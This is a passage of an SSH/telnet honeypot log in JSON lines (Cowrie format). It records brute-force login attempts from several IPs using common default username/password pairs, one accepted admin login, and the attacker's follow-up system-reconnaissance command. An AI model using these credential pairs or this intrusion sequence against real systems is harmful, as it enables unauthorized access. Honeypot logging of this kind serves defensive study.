":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:40.682524Z","src_ip":"45.153.34.195","session":"5b504426a273","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":63.543917417526245,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:41.106690Z","src_ip":"94.23.66.112","session":"1c7cde9400b2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"anmol","password":"anmol","message":"login attempt [anmol/anmol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:41.212922Z","src_ip":"45.153.34.195","session":"5b504426a273","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:42.326981Z","src_ip":"45.153.34.195","session":"5b504426a273","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":60104,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae605987cde2","protocol":"ssh","message":"New connection: 45.153.34.195:60104 (10.17.0.5:22) [session: ae605987cde2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:43.315208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:43.325652Z","src_ip":"45.153.34.195","session":"ae605987cde2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:43.576065Z","src_ip":"45.153.34.195","session":"ae605987cde2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"www","message":"login attempt [www/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:44.026822Z","src_ip":"45.153.34.195","session":"ae605987cde2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":41580,"dst_ip":"10.17.0.5","dst_port":22,"session":"61d31616aa61","protocol":"ssh","message":"New connection: 91.92.40.36:41580 (10.17.0.5:22) [session: 61d31616aa61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:44.427978Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"123QWEqwe","message":"login attempt [root/123QWEqwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:44.998214Z","src_ip":"91.92.40.36","session":"01fa2fb36a2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:45.157123Z","src_ip":"45.153.34.195","session":"ae605987cde2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jpg","password":"123456","message":"login attempt [jpg/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:45.281541Z","src_ip":"91.92.40.36","session":"ce2d7e29af74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":60124,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8310ec17a8a","protocol":"ssh","message":"New connection: 45.153.34.195:60124 (10.17.0.5:22) [session: d8310ec17a8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:46.310085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:46.347177Z","src_ip":"45.153.34.195","session":"d8310ec17a8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:46.414415Z","src_ip":"45.153.34.195","session":"d8310ec17a8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wangchen","password":"123456","message":"login attempt [wangchen/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:46.868588Z","src_ip":"45.153.34.195","session":"d8310ec17a8a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:47.275101Z","src_ip":"91.92.40.36","session":"61d31616aa61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:47.278473Z","src_ip":"91.92.40.36","session":"61d31616aa61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:47.955336Z","src_ip":"45.153.34.195","session":"d8310ec17a8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"97.74.87.152","src_port":55058,"dst_ip":"159.203.135.109","dst_port":22,"session":"f706cebd463a","protocol":"ssh","message":"New connection: 97.74.87.152:55058 (159.203.135.109:22) [session: f706cebd463a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:48.269571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:48.273757Z","src_ip":"97.74.87.152","session":"f706cebd463a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:48.498087Z","src_ip":"97.74.87.152","session":"f706cebd463a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.3","message":"Connection lost after 19.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:49.196412Z","src_ip":"91.92.40.36","session":"ce2d7e29af74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":60142,"dst_ip":"10.17.0.5","dst_port":22,"session":"eaa641a6e66f","protocol":"ssh","message":"New connection: 45.153.34.195:60142 (10.17.0.5:22) [session: eaa641a6e66f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:49.225532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:49.233155Z","src_ip":"45.153.34.195","session":"eaa641a6e66f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:49.326723Z","src_ip":"45.153.34.195","session":"eaa641a6e66f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"client","password":"client123","message":"login attempt [client/client123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:49.427805Z","src_ip":"97.74.87.152","session":"f706cebd463a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asdf1234","message":"login attempt [root/Asdf1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:49.662024Z","src_ip":"45.153.34.195","session":"eaa641a6e66f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"25.7","message":"Connection lost after 25.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:49.869853Z","src_ip":"91.92.40.36","session":"01fa2fb36a2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:50.659585Z","src_ip":"97.74.87.152","session":"f706cebd463a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:50.746033Z","src_ip":"45.153.34.195","session":"eaa641a6e66f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123","message":"login attempt [admin/admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:51.935274Z","src_ip":"91.92.40.36","session":"e995d7c860f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":20932,"dst_ip":"10.17.0.5","dst_port":22,"session":"64c7454141ad","protocol":"ssh","message":"New connection: 45.153.34.195:20932 (10.17.0.5:22) [session: 64c7454141ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:52.163628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:52.182517Z","src_ip":"45.153.34.195","session":"64c7454141ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:52.266773Z","src_ip":"45.153.34.195","session":"64c7454141ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"12345678","message":"login attempt [pi/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:52.590251Z","src_ip":"45.153.34.195","session":"64c7454141ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:53.673378Z","src_ip":"45.153.34.195","session":"64c7454141ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":19082,"dst_ip":"10.17.0.5","dst_port":22,"session":"db5ee57cf1b1","protocol":"ssh","message":"New connection: 91.92.40.36:19082 (10.17.0.5:22) [session: db5ee57cf1b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:55.052196Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":20948,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a41953cf93a","protocol":"ssh","message":"New connection: 45.153.34.195:20948 (10.17.0.5:22) [session: 6a41953cf93a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:55.208353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:55.226226Z","src_ip":"45.153.34.195","session":"6a41953cf93a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:55.317174Z","src_ip":"45.153.34.195","session":"6a41953cf93a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:55.507071Z","src_ip":"91.92.40.36","session":"e995d7c860f1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:55.510267Z","src_ip":"91.92.40.36","session":"e995d7c860f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo","message":"login attempt [odoo/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:55.621255Z","src_ip":"45.153.34.195","session":"6a41953cf93a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.180.146","src_port":44316,"dst_ip":"159.203.135.109","dst_port":22,"session":"64fc3644e054","protocol":"ssh","message":"New connection: 160.187.180.146:44316 (159.203.135.109:22) [session: 64fc3644e054]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:56.090950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:56.098403Z","src_ip":"160.187.180.146","session":"64fc3644e054","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rs